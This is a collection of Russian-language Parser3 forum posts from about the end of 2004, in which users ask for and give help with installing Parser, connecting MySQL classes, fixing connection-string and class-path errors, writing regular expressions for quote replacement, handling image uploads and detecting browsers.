Вот у меня идея такая необходимо чтоб когда юзер заходил под своим логином на страницу с базой фильмов, были бы пометки на тех фильмах, которые он уже скачивал(просмотрел), и только зарегестрированный юзер мог бы добавлять в базу фильмов. А с особыми правами их удалять или редактировать...\
\
Написал поставленную перед собой задачу от того, что кроме как её придумать меня больше не хватило :)\
\
Пожалуйста."
"36134","И ЧаВО читал, и по форуму искал.\
Загрузил — не работает. Что такое?\
Непонятно. \
Потому и обращаюсь с большой просьбой помочь.\
Ато сдавать его уже нужно, сайт-то.\
\
Заранее, спасибо!\
Ну что делатЬ?"
"36137","http://www.parser.ru/forum/?id=30462"
"36138","Шаг 2. Взять карандаш и лист бумаги.\
Шаг 3. Нарисовать все возможные типы действий на сайте (читать, править, писать (с последующим одобрением или без него) удалять, удалять другого пользователя и т.п.). Придумать варианты ролей для пользователей и что из выписанных вами прав доступно для каждой из ролей.\
Шаг 4. Когда стало понятно, чего вы хотите, включить компьютер обратно и воплотить."
"36139","Использование форума — не то\
Общие вопросы — нету\
Вопросы по установке — не то\
Переход с Parser 2 — не то\
Вопросы по языку — не то\
Парсерные сообщения об ошибках — не то\
Жаргон — уж совсем не то\
\
— где?"
"36140","авто.п не обрабатывается?\
БОЛЬШЕ деталей, куски логов, пошагово распишите что именно Вы сделали.\
А то это похоже на вопрос \"Нет денег. Что делать? Скажите СРОЧНО!\""
"36141","http://www.parser.ru/faq/forum/"
"36145","Закачал — не работает.\
вот."
"36149","Вот вам ответ: Не работает - настройте так, чтобы заработало :)\
\
А если без шуток.\
Сделали \"chmod +x parser3.cgi\" ?"
"36150","Я бы рад настроить. К админу чтоли обратиться host-ing.ru?"
"36151","Вам же уже сказали - иначе на что отвечать? Вариантов, почему не работает, может быть масса. Есть лог Парсера, есть лог апача, расскажите нам, о чем там пишется?\
\
auto.p, например, может не обрабатываться, если Парсер не поставлен обработчиком html-страниц в .htaccess, ошибка 500 может быть если у Парсера нет прав на исполнение, но не только поэтому, бывают еще варианты, зависит от того, что пишется в error.log апачевском. РАССКАЖИТЕ БОЛЬШЕ ДЕТАЛЕЙ!!!"
"36152","Error.log\
\
[Thu Dec 30 12:20:15 2004] [error] [client 212.112.96.20] script not found or unable to stat: /home/SHARE/cgi-global/parser3.cgi\
\
[Thu Dec 30 12:46:45 2004] [alert] [client 81.13.80.150] /home/baytur/domains/.htaccess: AddHandler not allowed here\
\
[Thu Dec 30 12:49:51 2004] [alert] [client 212.112.96.20] /home/baytur/domains/.htaccess: AddHandler not allowed here"
"36153","Пожалуйста, объясните поподробнее как подключать классы, например mysql.p и lib.p из примеров. Как пользоваться ими?"
"36154","Подключать как обычно с помощью @USE или ^use[path_to_class.p].\
Использовать можно по-разному:\
1. Статически - просто обращаетесь к методу в подключенном классе\
2. Динамически - создаете объект (экземпляр класса), а потом используете его методы"
"36156","[b][color=\"#ff0000\"]Ошибка:[/color][/b]\
Unhandled Exception (Debug)\
class is undefined\
mysql\
\
w:/home/test.ru/www/auto.p(4)\
exception.type=parser.runtime \
----------------------------------------------------------------\
connect-string w:/home/test.ru/www/auto.p(4)\
\
\
\
[b]файл auto.p (корневой):[/b]\
@auto[]\
$connect_string[mysql://root@localhost/p3test]\
$SQL.connect-string[mysql://root@localhost/p3test]\
$MAIN:pSQL[^mysql::init[$SQL.connect-string]]\
\
@dbconnect[code]\
^connect[$connect_string]{$code}\
\
@main[]\
^header[]\
^body[]\
^footer[]\
\
@navigation[] \
$sections[^table::load[/sections.cfg]] \
<table width=\"100%\" border=\"0\" bgcolor=\"#000000\" cellspacing=\"1\"> \
   <tr  bgcolor=\"#FFFFFF\"> \
   ^sections.menu{ \
      ^navigation_cell[] \
   } \
   </tr> \
</table> \
<br> \
\
@navigation_cell[] \
$cell_width[^eval(100\\$sections)%] \
^if($sections.uri eq $request:uri){ \
   <td width=\"$cell_width\" align=\"middle\" bgcolor=\"#A2D0F2\">  \
   <nobr>$sections.name</nobr> \
   </td> \
}{ \
   <td width=\"$cell_width\" align=\"middle\">  \
   <a href=\"$sections.uri\"><nobr>$sections.name</nobr></a> \
   </td> \
} \
\
@footer[] \
<table width=\"100%\" border=\"0\" bgcolor=\"#000000\" cellspacing=\"0\"> \
   <tr> \
      <td></td> \
   </tr> \
</table> \
$now[^date::now[]] \
<font size=\"-3\"> \
<center>Powered by Parser3<br>1997-$now.year</center> \
</font> \
</body> \
</html> \
\
@header[] \
<html> \
<head> \
<title>Тестовый сайт Parser3</title> \
</head> \
<body bgcolor=\"#FAEBD7\"> \
<table width=\"100%\" border=\"0\" bgcolor=\"#000000\" cellspacing=\"1\"> \
   <tr  bgcolor=\"#FFFFFF\" height=\"60\"> \
      <td align=\"middle\"> \
         <font size=\"+2\"> <b>^greeting[]</b></font> \
      </td> \
   </tr> \
</table> \
<br>  \
\
@body[] \
^navigation[] \
<table width=\"100%\" height=\"65%\" border=\"0\" bgcolor=\"#000000\" cellspacing=\"1\"> \
   <tr  bgcolor=\"#ffffff\" height=\"100%\"> \
      <td width=\"30%\" valign=\"top\" bgcolor=\"#EFEFEF\"> \
         <b>^body_additional[]</b> \
      </td> \
      <td width=\"70%\" valign=\"top\"> \
         ^body_main[] \
      </td> \
   </tr> \
</table> \
<br> \
\
\
\
[b]файл index.html в news:[/b]\
@USE\
/classes/lib.p\
/classes/mysql.p\
/classes/scroller.p\
\
@greeting[] \
Страница новостей,  заходите чаще! \
\
@body_additional[] \
<center>Архив новостей за текущий месяц:</center> \
<br> \
^calendar[] \
\
@body_main[] \
$news_count(^MAIN:pSQL.sql[int]{\
	SELECT\
		COUNT(*)\
	FROM\
		news\
})\
\
$news_per_page(20)\
$pages[^scroller::init[$news_count;$news_per_page;page]]\
^pages.print[\
	$.target_url[/news/]\
	$.nav_count(9)\
	$.mode[html]\
]\
\
\
$news[^MAIN:pSQL.sql[table]{\
	SELECT\
		id,\
		body,\
		header\
	FROM\
		news\
	ORDER BY\
		id DESC\
}[\
	$.offset($pages.offset)\
	$.limit($pages.limit)\
]]\
<ul>\
^news.menu{\
	<li><b>$news.header</b><br /><a href=\"/news/?id=$news.id\">$news.body</a></li>\
}\
</ul>"
"36157","У вас получается что сначала вы пытаетесь создать экземпляр класса а сами классы ещё не подключены.\
\
http://www.parser.ru/docs/lang/?mainclass.htm\
\
Поместите @USE в в auto.p"
"36158","Переместил \
\
@USE\
/classes/lib.p\
/classes/mysql.p\
/classes/scroller.p\
\
из index.html в auto.p\
\
@auto[]\
$SQL.connect-string[mysql://root@localhost/p3test]\
$MAIN:pSQL[^mysql::init[$SQL.connect-string]]\
@USE\
/classes/lib.p\
/classes/mysql.p\
/classes/scroller.p\
\
\
Теперь новая [color=\"#ff0000\"][b]ошибка[/b][/color] при вызове index.html из news:\
\
\
[b]Unhandled Exception (Debug)[/b] \
outside of 'connect' operator\
sql\
\
w:/home/test.ru/www/classes/sql.p(106)\
exception.type=parser.runtime \
----------------------------------------------------------------\
sql_code w:/home/test.ru/www/classes/sql.p(240)\
if w:/home/test.ru/www/classes/sql.p(222)\
_sql w:/home/test.ru/www/classes/sql.p(106)\
switch w:/home/test.ru/www/classes/sql.p(95)\
code w:/home/test.ru/www/classes/lib.p(461)\
if w:/home/test.ru/www/classes/lib.p(437)\
run_time w:/home/test.ru/www/classes/sql.p(94)\
sql w:/home/test.ru/www/news/index.html(10)\
body_main w:/home/test.ru/www/auto.p(73)\
body w:/home/test.ru/www/auto.p(11)"
"36159","А самому предпринять минимум усилий что бы разобраться не судьба?\
Сообщение об ошибке переведите..."
"36160","Если не можешь перевести - найди в форуме вариант вывода ошибок от Sanja :)\
\
На такие очевидные вещи никто отвечать не будет"
"36161","Никак не могу справится с достаточно тривиальной задачей...\
Есть некий текст, в нём попадаются тэги.\
Нужно, кавычки не являющиеся тэговыми заменить на &quot;.\
Я сделал так:\
[code]$text[<a href=\"/about/\" title=\"Информация о сайте\">Сайт</a>]\
$text[^text.match[([^^=])\"([^^<>]?[^^>])][gi]{${match.1}&quot^;$match.2]}][/code]\
Т.е. логично было бы предположить, что необходимо заменить все\
кавычки, перед которыми нет =, и за которыми через любое количество\
символов кроме > следует закрытие тэга.\
Однако, получаю в результате:\
[code]<a href=\"/about/&quot; title=\"Информация о сайте\">Сайт</a>[/code]\
т.е. [^^<>]? не воспринимается как любое количество символов, кроме\
< и >.\
(< ввёл, чтобы конструкции вида \">\"Сайт\"...</) верно\
обрабатывались.)\
\
Ещё был вариант:\
[code]$text[^text.match[([^^<][^^<]?)\"([^^>]?[^^>])][gi]{${match.1}&quot^;$match.2}][/code]\
Земеняются все, кроме 4-й кавычки.\
\
Вообще, по сути, я вижу описание \"нетэговой\" кавычки так:\
кавычка, перед которой через любое количество символов кроме < нет открытия тэга\
и после которой через любое количество символов кроме > нет закрытия тэга.\
\
Либо я уже уехал не в ту степь, либо лыжи не едут.\
Подсобите советом."
"36163","Здрасьте уважаемые! Как узнать адрес базы данных? Хочу добавить на свой сайт фотоальбом. Требуется база которую нигде не видно! Обыскал все папки на ftp и не фига нет кроме ПХП-админ! Сами файлы для базы у меня уже есть, а как узнать её адрес???\
                                      Заранее спасибо:)"
"36164","dp, Нашёл вариант вывода ошибок, поставил. Посмотрел, но всё равно не понял в чём проблема!\
Кодер, Для тебя очевидные вещи, так может ты можешь мне указать ошибку?\
\
[b]Содержание auto.p[/b]\
@USE\
/classes/lib.p\
/classes/mysql.p\
/classes/scroller.p\
\
@auto[]\
$SQL.connect-string[mysql://root@localhost/p3test]\
$MAIN:pSQL[^mysql::init[$SQL.connect-string]]\
\
@main[]\
^body[]\
\
\
[b]Содержание index.html[/b]\
@body[]\
$news_count(^MAIN:pSQL.sql[int]{\
	SELECT\
		COUNT(*)\
	FROM\
		news\
})\
\
$news_per_page(20)\
$pages[^scroller::init[$news_count;$news_per_page;page]]\
^pages.print[\
	$.target_url[/news/]\
	$.nav_count(9)\
	$.mode[html]\
]\
\
\
$news[^MAIN:pSQL.sql[table]{\
	SELECT\
		id,\
		body,\
		header\
	FROM\
		news\
	ORDER BY\
		id DESC\
}[\
	$.offset($pages.offset)\
	$.limit($pages.limit)\
]]\
<ul>\
^news.menu{\
	<li><b>$news.header</b><br /><a href=\"/news/?id=$news.id\">$news.body</a></li>\
}\
</ul>\
\
\
Ошибка та же... В ЧЁМ ДЕЛО?"
"36165","Перелазил форум. И нашёл случайно чей-то кусок кода auto.p. Всего лишь нужно было изменить:\
\
@main[]\
^MAIN:pSQL.server{\
^body[]\
}\
\
Разве так сложно было это сразу подсказать?..."
"36166","Вы просто должны знать на каком хосте находится бд, обычно localhost, если бд находится на том же сервере, что и сайт. Также вы должны знать имя бд, имя пользователя бд и пароль этого пользователя."
"36168","Как всегда разбираю правило человеческим языком:\
[code]$text[^text.match[([^^=])\"([^^<>]?[^^>])][gi]{${match.1}&quot^;$match.2]}][/code]\
Вы ищите кавычку перед которой должен быть символ не совпадающий с знаком равно. После кавычки есть или может не быть любой символ не равный больше, меньше. За этим, возможно отсутствующим, символом должен быть любой символ не равный символу больше.\
\
Ваша цитата:\
[quot]и за которыми через любое количество символов кроме > следует закрытие тэга[/quot]\
\
Этого в правиле нет.\
\
А вообще правило далеко не тривиальное. Я пару часов экспериментировал, так и не пришёл к нужному результату. Как придумаю что-то сообщу."
"36169","в три прохода:\
- убираем все теги.\
- расставляем кавычки, и вообще делаем все, что нам надо делать с текстами.\
- возвращаем теги.\
\
P.S. у Eugene Spearance это есть в типографике, можете посмотреть там код."
"36170","Да, я уже тоже склоняюсь к много-проходной версии.\
Весь курьёз в том, что проделать это необхожимо для правильной последующей работы типографа."
"36171","Да я уже затурхался с этой задачей.\
Действительно не так проста, как кажется...\
\
Первый вариант уже оставил, поэтому там могут быть неточности.\
Сейчас работаю по <> до и после.\
\
[quot]Как придумаю что-то сообщу.[/quot]\
\
Благодарю!"
"36172","Допустим надо обновить фотографию пользователя с id=40...\
\
[code]\
@main[]\
\
^if(def $form:foto){\
\
#Обновляем фотку...\
^dbconnect{\
	^void:sql{UPDATE users SET foto = '^form:foto.sql-string[]' WHERE id = '40'}\
}\
\
}{\
\
#Показываем фотку пользователя с id=40\
\
^dbconnect{\
	$img[^file::sql{select foto from users WHERE id = '40'}]\
}\
\
$photo[^image::measure[$img]]\
^photo.html[]\
\
<form method=\"post\" enctype=\"multipart/form-data\">\
<input type=\"file\" name=\"foto\"><br><br>\
<input type=\"submit\">\
</form>\
}\
[/code]\
\
[b]\
Ошибка:\
[/b]\
\
Unhandled Exception (Debug)\
unhandled image file name extension 'dat'\
noname.dat\
\
exception.type=image.format\
\
\
В чем я ошибаюсь?...\
И мне кажется что это не одна ошибка в этом коде... =("
"36173","Немного расширив функционал:\
[code]\
$counter(1)\
# Выловим все тэги с атрибутами.\
$tags[^text.match[<[^^>]+(\"|')[^^\"']+\\1 ?[^^>]?>][gi']]\
# Заменяем в тексте все тэги на метки, под номерами (по порядку).\
$text[^text.match[<[^^>]+(\"|')[^^\"']+\\1 ?[^^>]?>][gi]{<tag$counter/>^counter.inc[]}]\
$quotes_replace[^table::create{from	to\
\"	&quot^;\
'	&apos^;}]\
$text[^text.replace[$quotes_replace]]\
# Таблица замены меток на тэги.\
$marks_to_tags_replace[^table::create{from	to\
^tags.menu{<tag^tags.line[]/>	$tags.match\
}}]\
$result[^text.replace[$marks_to_tags_replace]]\
$text[]\
$tags[]\
[/code]\
\
Одним регвыром - надо покумекать...\
\
PS\
Почему-то [code]<[^^>]+(\"|')[^^\"']+\\1[^^>]?>[/code] не совпадает с тэгом, к примеру, <img src=\"ссылка\" />, то бишь с пробелом перед />, странно.\
Пришлось пробел добавить - [code]<[^^>]+(\"|')[^^\"']+\\1 ?[^^>]?>[/code]\
Странно два раза.\
\
Ну и [^^\"'] - источник потенциальных ошибок..."
"36174","Здоровья, успехов и огромного счастья в личной жизни!"
"36176","(\"|') -> ['\"]\
[^^>]? -> [^^>]*? и убрать пробел\
пробел -> \\s (если не убирается)\
\
а вообще можно [b]значительно[/b] упростить регулярное выражение и ловить просто все тэги не глядя на атрибуты... несмотря на то, что оно будет находить/выкусывать больше совпадений работать оно будет скорее всего быстрее."
"36177","Хм... Попробую, спасибо.\
\
[quot]а вообще можно значительно упростить регулярное выражение и ловить просто все тэги не глядя на атрибуты...[/quot]\
Изначально так и было, я наоброт решил усложнить, чтобы впустую не ловить простые тэги...\
Будем посмотреть.\
\
С наступающим, кстати!"
"36178","от себя добавлю: быстрого и изящного кода и юзайте поиск по форуму :)"
"36179",";-)"
"36180","Давно тут не появлялся, учился, гулял, скоро опять делом займусь..."
"36181","пробовал ставить оригинальный конфиг, и заменять кусок кода на твой, результат одинаковый, носом чую что дело в системе, а где незнаю."
"36182","1. Полученный из БД объект файл надо на диск сохранить.\
2. Из сохраненного файла и делать новый объект image и работать с ним."
"36184","[code]\
^MAIN:mySQL.server{\
	$year(^MAIN:mySQL.sql[int]{\
		SELECT\
			year\
		FROM\
			years\
		WHERE \
			year = $now.year\
	})\
}\
\
$result[С Новым $year годом!]\
[/code]"
"36186","если кто-нибудь скомпилил новый парсер без safe-mode для линукса, поделитесь пожалуйста бинарником! очень нужен!"
"36187","Тот, что находится в разделе \"Примеры\", не различает NN и FireFox.\
\
Потому имеет смысл заменить там блок анализа переменной окружения, как это сделал я:\
\
[code]\
$ver[^ua.match[opera.(\\d+)(\\.(\\d+))?][i]]\
^if($ver){\
	$MAIN:browser[opera]\
	$MAIN:browser_ver(^ver.1.int(0))\
	$MAIN:browser_subver(^ver.3.int(0))\
}{\
	$ver[^ua.match[msie.(\\d+)(\\.(\\d+))?][i]]\
	^if($ver){\
		$MAIN:browser[ie]\
		$MAIN:browser_ver(^ver.1.int(0))\
		$MAIN:browser_subver(^ver.3.int(0))\
	}{\
		$ver[^ua.match[netscape.(\\d+)(\\.(\\d+))?][i]]\
		^if($ver){\
			$MAIN:browser[nn]\
			$MAIN:browser_ver(^ver.1.int(0))\
			$MAIN:browser_subver(^ver.3.int(0))\
		}{\
			$ver[^ua.match[firefox.(\\d+)(\\.(\\d+))?][i]]\
			^if($ver){\
				$MAIN:browser[ff]\
				$MAIN:browser_ver(^ver.1.int(0))\
				$MAIN:browser_subver(^ver.3.int(0))\
			}{\
				$MAIN:browser[other]\
				$MAIN:browser_ver(0)\
				$MAIN:browser_subver(0)\
			}\
		}\
	}\
}\
[/code]\
\
В принципе, это пара пустяков, но кому-то сэкономит время."
"36188","egoroff.spb.ru\
От ЕГРА с любовью..."
"36189","... http://www.parser.ru/f/1/download/redhat/parser3_1_4_redhat73_grpunlim_cgi_xml.tar.gz"
"36191","Руководствовались http://www.parser.ru/forum/?id=32157:\
[quot]переименуйте parser3.cgi в parser3.cgi.real\
вместо parser3.cgi положите это: \
\
#!/bin/sh\
\
echo content-type:text/plain\
echo\
./parser3.cgi.real 2>&1\
echo done[/quot]\
\
при ошибке в коде Парсера получаем:\
[code]Illegal instruction (core dumped)\
done[/code]\
а также в том же каталоге создается файл с именем parser3.cgi.real.core (сооствественно, раньше при ошибке появлялся parser3.cgi.core)."
"36192","Допустим у нас имеется файл db.sql. В нем содержится : \
\
[code]CREATE TABLE `news` (\
`id` INT NOT NULL AUTO_INCREMENT PRIMARY KEY ,\
`header` TEXT NOT NULL ,\
`content` TEXT NOT NULL ,\
`date_n` TEXT NOT NULL ,\
`date` DATE NOT NULL \
);\
[/code]\
\
Можно ли посредством Parser указав имя БД, имя пользователя БД, пароль пользователя и хост, вставить в эту БД данную выше таблицу, или это можно сделать только с помощью phpmyadmin?"
"36195","Всех с наступившим НГ.\
\
Подскажие пожалуйста с чем это связно:\
Выполнил \"класс авторицации\" со скаченными примерами все работало нормально: регистрация работала, заходил под admin и \"пользователем\".\
Добавил авторизацию себе... перестал заходить под [i]admin[/i], выдает \"500 ошибку\", под \"пользователем\" заходить и регистрировать новых без проблем получается."
"36197","Можно ли как-то легко написать на парсере функцию слияния версий документа? По типу той, что реализована в cvs?\
Покамест, не зная подноготной, рублю документ на куски определенной длины, при появлении различий уменьшаю дробление вплоть до одной буквы, заменяю, после замены возвращаюсь к исходной длине кусков. Косячит."
"36199","Русские буквы в выборках их базы почему-то отдаются парсером в виде вопросов... С русскими шрифтами в самих документах все в порядке.\
\
mysql 4.1.8\
mysqladmin variables:\
\
character_set_client  cp1251     \
character_set_connection cp1251\
character_set_database cp1251\
character_set_results cp1251\
character_set_server cp1251\
character_set_system utf8\
character_sets_dir /usr/share/mysql/charsets\
collation_connection cp1251_bulgarian_ci\
collation_database cp1251_bulgarian_ci\
collation_server cp1251_bulgarian_ci        \
\
В консоли все отдается в читабельном виде."
"36200","Я вот скачал все прочитал, но ничего не вышло! класс [b]sql.p[/b] у меня в папке classes\
вот код:\
[code]\
@USE\
/sql.p\
\
@auto[]\
$connect_string[mysql://root:war@localhost/parser]\
$MAIN:pSQL[^mysql::init[$SQL.connect-string;$.is_debug(1)]]\
$now[^date::now[]]\
\
\
@main[]\
^MAIN:pSQL.server{\
	^header[]\
	^body[]\
	^footer[]\
}\
	\
	\
\
@postprocess[body]\
$result[$body]	\
^if(def $MAIN:pSQL){\
	^if(def $form:mode && ^form:tables.mode.locate[field;debug]){\
		^rem{ *** &#229;&#241;&#235;&#232; &#238;&#225;&#240;&#224;&#242;&#232;&#235;&#232;&#241;&#252; &#241; ?mode=debug &#242;&#238; &#239;&#238;&#235;&#243;&#247;&#224;&#229;&#236; &#232; &#241;&#238;&#245;&#240;&#224;&#237;&#255;&#229;&#236; &#232;&#237;&#244;&#238;&#240;&#236;&#224;&#246;&#232;&#254; &#238;&#225;&#238; &#226;&#241;&#229;&#245; &#231;&#224;&#239;&#240;&#238;&#241;&#224;&#245; &#237;&#224; &#241;&#242;&#240;&#224;&#237;&#232;&#246;&#229; *** }\
		^MAIN:pSQL.print_statistic[$file[/../data/sql.txt]]\
	}{\
		^rem{ *** &#224; &#239;&#238; &#243;&#236;&#238;&#235;&#247;&#224;&#237;&#232;&#254; &#226; &#235;&#238;&#227; &#239;&#232;&#248;&#229;&#236; &#242;&#238;&#235;&#252;&#234;&#238; &#232;&#237;&#244;&#238;&#240;&#236;&#224;&#246;&#232;&#254; &#238; &#236;&#229;&#228;&#235;&#229;&#237;&#237;&#251;&#245; &#231;&#224;&#239;&#240;&#238;&#241;&#224;&#245; &#232; &#238; &#241;&#242;&#240;&#224;&#237;&#232;&#246;&#224;&#245; &#241; &#225;&#238;&#235;&#252;&#248;&#232;&#236; &#234;&#238;&#235;-&#226;&#238;&#236; &#231;&#224;&#239;&#240;&#238;&#241;&#238;&#226;*** }\
		^MAIN:pSQL.print_statistic[\
			$.file[/../data/sql.log]\
			$.debug_time_limit(500)\
			$.debug_queries_limit(25)\
#			$.debug_result_limit(3000)\
#			$.is_expand_exceeded_queries_to_log(1)\
		]\
	}\
}\
[/code]\
Далее идет не очень нужная часть!\
Так вот, парсер ругается:\
Unhandled Exception (Debug)\
class is undefined\
mysql\
\
z:/home/www.27.ru/www/auto.p(7)\
exception.type=parser.runtime \
--------------------------------------------------------------------------------\
connect_string z:/home/www.27.ru/www/auto.p(7)\
\
то есть как я понял класс не хочет подключаться!"
"36201","В sql.p находится базовый предок для всех sql-классоов, который не знает ничего о конкретной СУБД. Вам же нужно использовать конкретного потомка:[code]@USE\
mysql.p[/code]"
"36202","[code]\
@USE\
/sql.p\
# Этой строчкой Вы говорите Парсеру, чтобы он загрузил\
# файл sql.p из корня сайта, а не из $CLASS_PATH!\
# Т.е. надо убрать первый слэш.\
\
@auto[]\
$connect_string[mysql://root:war@localhost/parser]\
# Здесь вы сохраняете строку соединения в переменную \
# $MAIN:connect-string\
\
$MAIN:pSQL[^mysql::init[$SQL.connect-string;$.is_debug(1)]]\
# А тут пытаетейсь передать конструктору переменную из \
# $MAIN:SQL.connect-string! Это приведет к очередным ошибкам.\
[/code]\
\
Крайне не рекомендуется злоупотреблять обращениями к системной переменной $MAIN не стоит. Чем меньше Вы это делаете [в вашем коде она не нужна в принципе], тем легче Вам потом будет отлаживать свой код!"
"36203","Я вот удалил ту строку и у меня получилось [b]вот что[/b]:\
[code]\
@USE\
sql.p\
mysql.p\
\
@auto[]\
$MAIN:pSQL[^mysql::init[$SQL.connect-string;$.is_debug(1)]]\
$now[^date::now[]]\
\
\
@main[]\
^MAIN:pSQL.server{\
	^header[]\
	^body[]\
	^footer[]\
}\
	\
@postprocess[body]\
$result[$body]	\
^if(def $MAIN:pSQL){\
	^if(def $form:mode && ^form:tables.mode.locate[field;debug]){\
		^MAIN:pSQL.print_statistic[$file[/../data/sql.txt]]\
	}{\
		^MAIN:pSQL.print_statistic[\
			$.file[/../data/sql.log]\
			$.debug_time_limit(500)\
			$.debug_queries_limit(25)\
#			$.debug_result_limit(3000)\
#			$.is_expand_exceeded_queries_to_log(1)\
		]\
	}\
}\
[/code]\
и еще я только сейчас вписал в конфигурационный файл парсера вот это:\
[code]\
@auto[]\
$request:charset[windows-1251]\
$response:charset[windows-1251]\
$response:content-type[\
        $.value[text/html]\
        $.charset[$response:charset]\
]\
$CLASS_PATH[/../classes]\
#это я как понял я определил где будут храниться все классы? Так?\
[/code]\
\
Но парсер теперь выдает вот что:\
[b]\
Unhandled Exception (Debug)\
not found along MAIN:CLASS_PATH\
sql.p\
\
()\
exception.type=parser.runtime \
[/b]\
Поиогите разобраться! Все перепробовал!"
"36204","ну во-первых сам термин \"шрифт\" тут неприменим - это же не издательская программа или офисный пакет.\
\
а если по существу - несовпадение кодировок базы и ожидаемой драйвером парсера, нужно пробовать в строке соединения опцию  ClientCharset=кодировка"
"36205","3.1.4 возможно никогда и не будет, а если будет то он будет собран на RH Linux 8.0 и ему будут нужны какие-то продвинутые библиотеки, которые установлены далеко не везде :)"
"36206","Кроме того уберите из @USE подключение sql.p - это лишнее. В mysql.p такая команда уже есть."
"36207","Требуется сохранить файл, выбранный пользователем с помощью формы, на диске (или сервере). Пишу:\
\
^form:name.save[/i/image.gif]\
\
Файл сохраняется, но изображением он не является, размер его всегда составляет 8 бит.\
\
Если пишу:\
\
^form:name.save[binary;/i/image.gif]\
\
Выдает ошибку:\
\
Unhandled Exception (Debug)\
unknown mode, must be 'append'\
binary"
"36210","С DBD::mysql та же беда, Парсер не при чем. Сорри. Буду рыть СУБД."
"36211","Сначала я так и сделал, т.е. добавил слеш! Но ничего не вышло, оставалась таже ошибка! тогда я написал вот так:\
[code]\
$CLASS_PATH[/classes]\
[/code]\
Но зато появилась другая ошибка! Но как я понял класс он подключает! Вот ошибка:\
[b]\
Unhandled Exception (Debug)\
\
connection string must start with protocol://\
\
connect\
\
\
z:/home/www.27.ru/www/classes/sql.p(67)\
\
exception.type=parser.runtime \
--------------------------------------------------------------------------------\
server z:/home/www.27.ru/www/auto.p(12)\
[/b]\
\
На всякий случай приведу еще раз auto.p (корневой):\
[code]\
@USE\
mysql.p\
\
@auto[]\
$connect-string[mysql://root:war@localhost/parser]\
$MAIN:pSQL[^mysql::init[$SQL.connect-string;$.is_debug(1)]]\
$now[^date::now[]]\
\
\
@main[]\
^MAIN:pSQL.server{\
	^header[]\
	^body[]\
	^footer[]\
}\
	\
	\
\
@postprocess[body]\
$result[$body]	\
^if(def $MAIN:pSQL){\
	^if(def $form:mode && ^form:tables.mode.locate[field;debug]){\
		^rem{ *** если обратились с ?mode=debug то получаем и сохраняем информацию обо всех запросах на странице *** }\
		^MAIN:pSQL.print_statistic[$file[/../data/sql.txt]]\
	}{\
		^rem{ *** а по умолчанию в лог пишем только информацию о медленных запросах и о страницах с большим кол-вом запросов*** }\
		^MAIN:pSQL.print_statistic[\
			$.file[/../data/sql.log]\
			$.debug_time_limit(500)\
			$.debug_queries_limit(25)\
#			$.debug_result_limit(3000)\
#			$.is_expand_exceeded_queries_to_log(1)\
		]\
	}\
}\
[/code]\
Ну и что делать?"
"36212","и посмотрите, какую строку соединения вы определяете, и что вы передаете конструктору класса mysql."
"36213","Ну кто нибудь знает какой нибудь БЕСПЛАТНЫЙ хостинг, где можно поставить парсер.\
\
А кто нибудь на Holm.ru пробовал поставить..."
"36215","Misha v.3! Не считай меня дураком! Я и перевел и нащел ту 67 строку вот она:\
[code]\
^connect[$connect-string]{$body}\
[/code]\
хотя я и определил переменную [code]$connect-string[/code]Парсер все же ругался!\
тогда определил переменную [code]$connect_string[/code]и соответственно изменил ту 67 строку! И все зароботало(наверное)! Пок крайней мере ни одной ошибки!\
И вот еще: где можно почитать про класс [b]dtf[/b]? А то весь справочник пролистал ничего не нашел!"
"36216","http://www.runetovec.ru/ клуб"
"36217","http://fatal.ru/\
\
А вообще-то слева есть поиск."
"36218","В [url=\"http://www.parser.ru/examples/date/\"]примерах[/url] :)"
"36219","Мда! Согласен! как только написал в форума спомнил про примеры! Так вот у меня другая проблема! Посмотри что это за ошибка:\
Unhandled Exception (Debug)\
Query was empty\
sql\
\
z:/home/www.27.ru/www/classes/sql.p(98)\
exception.type=sql.execute \
--------------------------------------------------------------------------------\
sql_code z:/home/www.27.ru/www/classes/sql.p(241)\
if z:/home/www.27.ru/www/classes/sql.p(223)\
_sql z:/home/www.27.ru/www/classes/sql.p(98)\
switch z:/home/www.27.ru/www/classes/sql.p(96)\
code z:/home/www.27.ru/www/classes/lib.p(444)\
try z:/home/www.27.ru/www/classes/lib.p(444)\
if z:/home/www.27.ru/www/classes/lib.p(437)\
run_time z:/home/www.27.ru/www/classes/sql.p(95)\
sql z:/home/www.27.ru/www/classes/news.p(22)\
params z:/home/www.27.ru/www/classes/news.p(22)\
getnews z:/home/www.27.ru/www/news/index.html(14)\
printCalendar z:/home/www.27.ru/www/news/index.html(14)\
if z:/home/www.27.ru/www/news/index.html(10)\
body_main z:/home/www.27.ru/www/auto.p(108)\
body z:/home/www.27.ru/www/auto.p(16)\
body z:/home/www.27.ru/www/classes/sql.p(68)\
connect z:/home/www.27.ru/www/classes/sql.p(68)\
server z:/home/www.27.ru/www/auto.p(14)"
"36220","Я вот не понимаю что не так? Парсеру не нравятся вот эти строки:\
[code]\
y_hash[^calendar.hash[year;year][$distinct(1)]]\
$ym_hash[^calendar.hash{^calendar.year.format[%04d]=^calendar.month.format[%02d]}[month] [$.distinct(1)]]\
[/code]\
Выдает такую ошибку:\
undefined method\
hash\
\
z:/home/www.27.ru/www/news/auto.p(79)\
(перевод я знаю)\
На всякий случай приведу auto.p (новостной):\
[code]\
################_&#236;&#229;&#242;&#238;&#228;_&#239;&#238;&#235;&#243;&#247;&#229;&#237;&#232;&#255;_&#241;&#242;&#224;&#242;&#229;&#233;_&#239;&#238;_&#231;&#224;&#228;&#224;&#237;&#237;&#251;&#236;_&#242;&#229;&#236;&#224;&#236;####################\
\
@getnews[lparams][params]\
$params[^hash::create[$lparams]]\
$result[^MAIN:pSQL.sql[table]]{\
	SELECT\
		article_id AS id,\
		title,\
		lead,\
		dt\
		^if(^params.id.int(0)){, body}\
	FROM\
		news\
	WHERE\
		article_type_id=^params.article_type_id.int(0) AND\
		is_published=1 AND\
		dt_published<=^MAIN:pSQL.now[]\
		^if(^params.id.int(0)){\
			AND article_id=^params.id.int(0)\
		}\
		^if(def $params.where){\
			AND $params.where\
		}\
	ORDER BY\
		dt DESC\
}[\
^if(def $params.limit){$limit($params.limit)}\
^if(def $params.offset){$offset($params.offset)}\
]\
#########################_end_of_this_geting_news_###########################\
#############################################################################\
#####################_&#238;&#242;&#238;&#225;&#240;&#224;&#230;&#229;&#237;&#232;&#229;_&#241;&#239;&#232;&#241;&#234;&#224;_&#224;&#237;&#238;&#237;&#241;&#238;&#226;_&#237;&#238;&#226;&#238;&#241;&#242;&#229;&#233;_###################\
@printnews[news]\
<ul>\
^untaint[as-is]{\
	^news.menu{\
	<li><b>^dtf:format[%d%m%Y;$news.dt]</b>\
	^printTitle[$news]\
